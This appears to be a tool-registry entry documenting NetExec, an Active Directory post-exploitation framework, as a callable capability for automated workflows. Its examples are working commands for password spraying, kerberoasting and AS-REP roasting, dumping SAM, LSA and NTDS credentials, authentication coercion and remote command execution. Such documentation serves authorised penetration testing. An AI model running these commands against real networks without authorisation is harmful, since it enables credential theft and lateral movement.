security enabled verified high v1.0.0

NetExec (formerly CrackMapExec)

Post-exploitation framework for Active Directory assessment that automates enumeration, lateral movement, and attack execution against Windows domain networks.

📋 Live Preview
netexec {protocol} {target} -u {username} -p {password}
๐Ÿ“Ž protocol ๐ŸŒ target โ†’ ip ๐ŸŒ username โ†’ user ๐Ÿ“Ž password
netexec {protocol} {target} -u {username} -p {password}

Sandbox: execFile · Timeout: 120s

Capabilities

security.enum.smb
security.enum.ldap
security.enum.winrm
security.bruteforce.passwordspray
security.credential.dump
security.lateral.smbexec
security.lateral.winrmexec
security.ad.ridbrute
security.ad.asreproast
security.ad.kerberoast
security.ad.sessions
security.ad.shares
security.ad.gmsa
security.ad.trusteddelegation
security.ad.coerce
security.ad.dpapi

Parameters

Name Type Required Default Description Aliases
protocol string Yes - Protocol to use: smb, ldap, winrm, mssql -
target string Yes - Target IP address or CIDR range -
username string No - Domain username for authentication -
password string No - Plaintext password for authentication -
hash string No - NTLM hash for pass-the-hash authentication -
domain string No - Target domain name -

Artifacts

TypeDescriptionMIMESchemaTrust
security.credential.dumpDumped credentials from SAM/LSA/DPAPI--verified
security.ntds.dumpNTDS.dit dumped domain credentials--verified

Contract

Inputs

network.target.ip

Target IP address or hostname

credential.username

Domain username

credential.password

Plaintext password

credential.hash

NTLM hash for pass-the-hash

Outputs

security.credential.dump

Extracted credentials

security.enum.result

Enumeration results (users, groups, shares, sessions)

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

security.credential.dumpsecurity.enum.result

Consumes

network.target.ipcredential.usernamecredential.passwordcredential.hash

Resource Profile

ResourceValue
CPUlow
Memory128 MB
Networkmedium
Disk I/Olow

Examples

Enumerate SMB hosts, OS versions, and sign-in status

netexec smb 10.10.10.0/24

RID brute force to enumerate domain users

netexec smb 10.10.10.1 -u guest -p '' --rid-brute

Enumerate password policy (null session)

netexec smb 10.10.10.1 -u '' -p '' --pass-pol

Enumerate active sessions on remote hosts

netexec smb 10.10.10.0/24 -u user -p pass --sessions

Enumerate domain users via SAMR

netexec smb 10.10.10.1 -u user -p pass --users

Enumerate domain groups

netexec smb 10.10.10.1 -u user -p pass --groups

Enumerate local groups on target

netexec smb 10.10.10.1 -u user -p pass --local-groups

Enumerate accessible SMB shares

netexec smb 10.10.10.1 -u user -p pass --shares

Enumerate disks via SMB

netexec smb 10.10.10.1 -u user -p pass --disks

List relay candidates (SMB signing disabled)

netexec smb 10.10.10.0/24 --gen-relay-list relay.txt

Enumerate logged-on users via SMB

netexec smb 10.10.10.0/24 -u user -p pass --loggedon-users

LDAP enumeration of domain users

netexec ldap 10.10.10.1 -u user -p pass --users

LDAP AS-REP roasting

netexec ldap 10.10.10.1 -u user -p pass --asreproast asrep.txt

LDAP Kerberoasting

netexec ldap 10.10.10.1 -u user -p pass --kerberoast kerb.txt

Find gMSA accounts

netexec ldap 10.10.10.1 -u user -p pass --gmsa

Find trusted-for-delegation accounts

netexec ldap 10.10.10.1 -u user -p pass --trusted-for-delegation

Password spray against SMB

netexec smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success

SMB command execution (psexec-style)

netexec smb 10.10.10.1 -u user -p pass -x whoami

Enable WDigest on target

netexec smb 10.10.10.1 -u user -p pass -M wdigest

Dump SAM registry hives

netexec smb 10.10.10.1 -u admin -p pass --sam

Dump LSA secrets

netexec smb 10.10.10.1 -u admin -p pass --lsa

Dump NTDS.dit domain database

netexec smb 10.10.10.1 -u admin -p pass --ntds

Dump credentials with lsassy

netexec smb 10.10.10.1 -u admin -p pass -M lsassy

Extract DPAPI secrets/blobs

netexec smb 10.10.10.1 -u admin -p pass -M dpapi

Timeroasting โ€” extract timestamp hashes from SMB

netexec smb 10.10.10.1 -u user -p pass -M timeroast

Coerce authentication via ms-efsr / coerce_plus

netexec smb 10.10.10.1 -u user -p pass -M coerce_plus

Change AD user password

netexec smb 10.10.10.1 -u admin -p pass -M change_password -o OLD_PASS=old NEW_PASS=new

Get user description fields (often contain passwords)

netexec smb 10.10.10.1 -u user -p pass -M get-desc-users

Find AS-REP roastable accounts with get_user_Password=notrequired

netexec smb 10.10.10.1 -u user -p pass -M get_user_Password -o PASSWORD=notrequired

Documentation

NetExec (nxc) โ€” AD Post-Exploitation Framework

NetExec (formerly CrackMapExec, abbreviated nxc) is a swiss-army knife for Active Directory post-exploitation. It provides protocol-aware enumeration, credential spraying, automatic credential dumping, and lateral movement across SMB, LDAP, WinRM, and more.

Key Features

  • Protocol support: SMB, LDAP, WinRM, MSSQL
  • Module system: Extensible Python modules for custom attack logic
  • Authentication: Password, NTLM hash, Kerberos tickets
  • Output: Colored console, JSON, bloodhound-compatible formats

Common Protocols

Protocol Command Prefix Use Case
SMB nxc smb Share enumeration, RID brute, SAM/LSA/DPAPI dump, command exec
LDAP nxc ldap User enumeration, AS-REP roast, kerberoast, delegation
WinRM nxc winrm Remote command execution via WinRM
MSSQL nxc mssql SQL Server enumeration and query execution

Dependencies

python3impacketlsassy

Related Tools

impacketbloodhoundevil-winrm

References